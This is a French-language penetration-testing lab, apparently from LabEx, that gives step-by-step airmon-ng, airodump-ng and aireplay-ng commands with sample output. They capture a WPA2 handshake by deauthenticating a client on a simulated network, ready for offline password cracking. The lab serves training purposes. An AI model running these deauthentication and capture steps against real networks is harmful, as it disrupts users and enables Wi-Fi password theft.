Introduction
La négociation en quatre étapes WPA/WPA2 est un composant essentiel de la sécurité Wi-Fi moderne. C'est le processus par lequel un client et un point d'accès (AP) prouvent qu'ils connaissent la clé pré-partagée (le mot de passe Wi-Fi) sans jamais la transmettre directement. La capture de cette négociation est la première étape d'une attaque par force brute ou par dictionnaire pour récupérer le mot de passe Wi-Fi.
Dans ce laboratoire, vous apprendrez à utiliser la puissante suite d'outils Aircrack-ng pour effectuer cette capture. Nous utiliserons airmon-ng pour mettre votre carte sans fil en mode moniteur, airodump-ng pour scanner et cibler un réseau spécifique, et aireplay-ng pour forcer un client à se réauthentifier, générant ainsi une négociation que nous pourrons capturer.
Ce laboratoire simule un scénario réel. Une interface sans fil wlan0 et un réseau cible vous seront fournis pour vous entraîner dans l'environnement du laboratoire.
Mettre l'adaptateur sans fil en mode moniteur
Dans cette étape, nous allons préparer notre adaptateur sans fil à la capture du trafic réseau. Par défaut, un adaptateur sans fil fonctionne en "mode géré" (managed mode), ce qui signifie qu'il ne prête attention qu'au trafic qui lui est destiné. Pour capturer tout le trafic Wi-Fi dans les airs, nous devons le faire passer en "mode moniteur" (monitor mode). Nous utiliserons l'outil airmon-ng pour cela.
Tout d'abord, vérifions le nom de notre interface sans fil. Ouvrez un terminal et exécutez la commande iwconfig.
iwconfig
Vous devriez voir une interface listée, généralement nommée wlan0.
lo no wireless extensions.
eth0 no wireless extensions.
wlan0 IEEE 802.11 ESSID:off/any
Mode:Managed Access Point: Not-Associated Tx-Power=20 dBm
Retry short limit:7 RTS thr:off Fragment thr:off
Encryption key:off
Power Management:on
Maintenant, utilisez airmon-ng pour démarrer le mode moniteur sur l'interface wlan0. Cette commande peut arrêter certains processus réseau qui pourraient interférer avec la capture.
sudo airmon-ng start wlan0
La sortie confirmera que le mode moniteur a été activé. Il crée généralement une nouvelle interface virtuelle, souvent nommée wlan0mon, pour la surveillance.
Found 2 processes that could cause trouble.
Kill them using 'airmon-ng check kill' before bringing up the interface in monitor mode.
PID Name
591 wpa_supplicant
668 dhclient
PHY Interface Driver Chipset
phy0 wlan0 ath9k Atheros Communications Inc. AR9271 802.11n
(mac80211 monitor mode vif enabled for [phy0]wlan0 on [phy0]wlan0mon)
(mac80211 station mode vif disabled for [phy0]wlan0)
Vous pouvez vérifier que la nouvelle interface wlan0mon est en mode moniteur en exécutant à nouveau iwconfig.
iwconfig wlan0mon
La sortie devrait afficher Mode:Monitor.
wlan0mon IEEE 802.11 Mode:Monitor Frequency:2.457 GHz Tx-Power=20 dBm
Retry short limit:7 RTS thr:off Fragment thr:off
Power Management:off
Lancer airodump-ng pour trouver le BSSID et le canal de la cible
Dans cette étape, nous utiliserons airodump-ng pour scanner les ondes radio et identifier notre réseau cible. airodump-ng est un outil puissant pour capturer les trames 802.11 et découvrir les points d'accès et les clients connectés à proximité.
Maintenant que notre interface wlan0mon est en mode moniteur, nous pouvons lancer le scan. Exécutez la commande suivante dans votre terminal :
sudo airodump-ng wlan0mon
Votre terminal se remplira d'une liste de tous les réseaux Wi-Fi que airodump-ng peut détecter. L'affichage est divisé en deux parties. La partie supérieure liste les Points d'Accès (AP), et la partie inférieure liste les clients connectés (Stations).
Décomposons les colonnes clés pour les AP :
- BSSID : L'adresse MAC du Point d'Accès. C'est son identifiant matériel unique.
- CH : Le canal sur lequel le réseau opère.
- ESSID : Le nom lisible par l'homme du réseau Wi-Fi (par exemple, "MonWiFiMaison").
Voici un exemple de ce que vous pourriez voir :
CH 6 ][ Elapsed: 3 s ][ 2023-10-27 10:30
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
00:11:22:33:44:55 -30 10 0 0 6 54e WPA2 CCMP PSK LabEx_WiFi
C8:D3:FF:A1:B2:C3 -65 8 0 0 1 54e WPA2 CCMP PSK AnotherWiFi
BSSID STATION PWR Rate Lost Frames Probe
Pour ce laboratoire, notre réseau cible est LabEx_WiFi. D'après la sortie ci-dessus, identifiez son BSSID (00:11:22:33:44:55) et son CH (6). Vous en aurez besoin pour l'étape suivante.
Une fois que vous avez noté le BSSID et le canal, appuyez sur Ctrl+C dans le terminal pour arrêter le processus de scan.
Lancer airodump-ng en ciblant le BSSID et le canal spécifiques
Dans cette étape, nous allons concentrer notre capture uniquement sur le réseau cible. L'exécution d'un scan général comme nous l'avons fait à l'étape précédente fait "sauter de canal" (channel hop) la carte sans fil, ce qui signifie que nous pourrions manquer la poignée de main (handshake) lorsqu'elle se produit. Pour garantir une capture réussie, nous allons indiquer à airodump-ng de se verrouiller sur le canal de notre cible et d'écouter uniquement le trafic provenant de son BSSID.
Nous utiliserons également l'option -w pour écrire les paquets capturés dans un fichier. Ce fichier contiendra la poignée de main.
Utilisez le BSSID et le canal que vous avez identifiés à l'étape précédente (00:11:22:33:44:55 et 6) pour construire la commande suivante. Nous nommerons notre fichier de sortie handshake_capture.
sudo airodump-ng --bssid 00:11:22:33:44:55 -c 6 -w handshake_capture wlan0mon
Après avoir exécuté cette commande, l'affichage de airodump-ng changera. Il n'affichera désormais que les informations relatives au réseau LabEx_WiFi. Vous verrez également une liste de tous les clients (STATIONs) qui y sont connectés.
CH 6 ][ Elapsed: 10 s ][ 2023-10-27 10:32 ][ WPA handshake: ...
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
00:11:22:33:44:55 -32 100 25 10 1 6 54e WPA2 CCMP PSK LabEx_WiFi
BSSID STATION PWR Rate Lost Frames Probe
00:11:22:33:44:55 AA:BB:CC:DD:EE:FF -40 1- 1 0 15
Important : Laissez ce terminal en cours d'exécution. Nous en avons besoin pour continuer la capture. Pour l'étape suivante, vous devez ouvrir une nouvelle fenêtre de terminal. Vous pouvez le faire en cliquant à nouveau sur l'icône du terminal dans le dock des applications de l'environnement.
Utiliser aireplay-ng pour déauthentifier un client
Dans cette étape, nous allons forcer activement la génération d'une poignée de main (handshake). Une poignée de main ne se produit que lorsqu'un client se connecte ou se reconnecte à un point d'accès. Si un client est déjà connecté, nous pouvons attendre qu'il se déconnecte naturellement, mais cela pourrait prendre beaucoup de temps. Une approche plus proactive consiste à le forcer à se déconnecter à l'aide d'une "attaque de désauthentification".
Nous utiliserons aireplay-ng pour envoyer des paquets de désauthentification spécialement conçus à un client, lui faisant croire qu'il a été déconnecté par le point d'accès. Le client tentera alors automatiquement de se reconnecter, générant ainsi la poignée de main WPA que notre processus airodump-ng (en cours d'exécution dans l'autre terminal) attend de capturer.
Regardez votre première fenêtre de terminal (celle qui exécute le airodump-ng ciblé). Sous la colonne STATION, vous verrez l'adresse MAC d'un client connecté. Pour ce laboratoire, nous supposerons que l'adresse MAC du client est AA:BB:CC:DD:EE:FF.
Maintenant, dans votre nouvelle fenêtre de terminal, exécutez la commande aireplay-ng suivante.
--deauth 5: Ceci envoie 5 paquets de désauthentification. Une petite rafale est généralement suffisante.-a 00:11:22:33:44:55: C'est le BSSID de notre point d'accès cible.-c AA:BB:CC:DD:EE:FF: C'est l'adresse MAC du client que nous ciblons.
sudo aireplay-ng --deauth 5 -a 00:11:22:33:44:55 -c AA:BB:CC:DD:EE:FF wlan0mon
Vous verrez une sortie de aireplay-ng confirmant qu'il envoie les paquets.
10:35:10 Waiting for beacon frame (BSSID: 00:11:22:33:44:55) on channel 6
10:35:11 Sending 64 directed DeAuths. STMAC: [AA:BB:CC:DD:EE:FF] [ 5|62 ACKs]
Maintenant, vérifions si notre capture a réussi.
Confirmer la capture de la poignée de main dans la fenêtre airodump-ng
Dans cette dernière étape, nous allons confirmer que nous avons réussi à capturer la poignée de main WPA. L'attaque de désauthentification que nous venons d'effectuer devrait avoir provoqué la reconnexion du client, et airodump-ng aurait dû capturer la poignée de main résultante.
Reportez votre attention sur votre première fenêtre de terminal, celle où airodump-ng était en cours d'exécution et ciblait LabEx_WiFi.
Regardez dans le coin supérieur droit de l'affichage airodump-ng. Si la capture a réussi, vous verrez un message indiquant [ WPA handshake: 00:11:22:33:44:55 ].
CH 6 ][ Elapsed: 45 s ][ 2023-10-27 10:35 ][ WPA handshake: 00:11:22:33:44:55
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
00:11:22:33:44:55 -32 100 80 115 8 6 54e WPA2 CCMP PSK LabEx_WiFi
BSSID STATION PWR Rate Lost Frames Probe
00:11:22:33:44:55 AA:BB:CC:DD:EE:FF -40 1-11 0 98
Voir ce message est votre confirmation ! Vous avez réussi à capturer la poignée de main à quatre voies.
Vous pouvez maintenant arrêter les deux processus en appuyant sur Ctrl+C dans chaque fenêtre de terminal.
Les données capturées, y compris la poignée de main, ont été enregistrées dans des fichiers dans votre répertoire actuel. Vous pouvez les lister avec la commande ls -l.
ls -l
Vous devriez voir plusieurs fichiers commençant par handshake_capture, le plus important étant handshake_capture-01.cap.
-rw-r--r-- 1 root root 452 Oct 27 10:36 handshake_capture-01.cap
-rw-r--r-- 1 root root 1234 Oct 27 10:36 handshake_capture-01.csv
...
Ce fichier .cap est le prix. Il contient la poignée de main et peut maintenant être utilisé avec des outils tels que aircrack-ng ou hashcat pour des tentatives de craquage de mot de passe hors ligne.
Résumé
Félicitations pour avoir terminé ce laboratoire ! Vous avez réussi à effectuer l'une des techniques fondamentales des tests de pénétration Wi-Fi.
Dans ce laboratoire, vous avez appris à :
- Mettre un adaptateur sans fil en mode moniteur à l'aide de
airmon-ng. - Scanner les réseaux sans fil à proximité pour identifier une cible avec
airodump-ng. - Concentrer
airodump-ngsur un BSSID et un canal spécifiques pour préparer une capture ciblée, en enregistrant les résultats dans un fichier. - Utiliser
aireplay-ngpour effectuer une attaque de désauthentification, forçant un client à se reconnecter. - Confirmer la capture de la poignée de main WPA dans la sortie de
airodump-ng.
Le fichier .cap que vous avez généré contient les précieuses données de la poignée de main. La prochaine étape logique dans un engagement réel serait d'utiliser ce fichier pour tenter de craquer le mot de passe Wi-Fi, un sujet pour un autre laboratoire. Vous avez maintenant une solide compréhension du processus manuel pour capturer cette donnée critique.
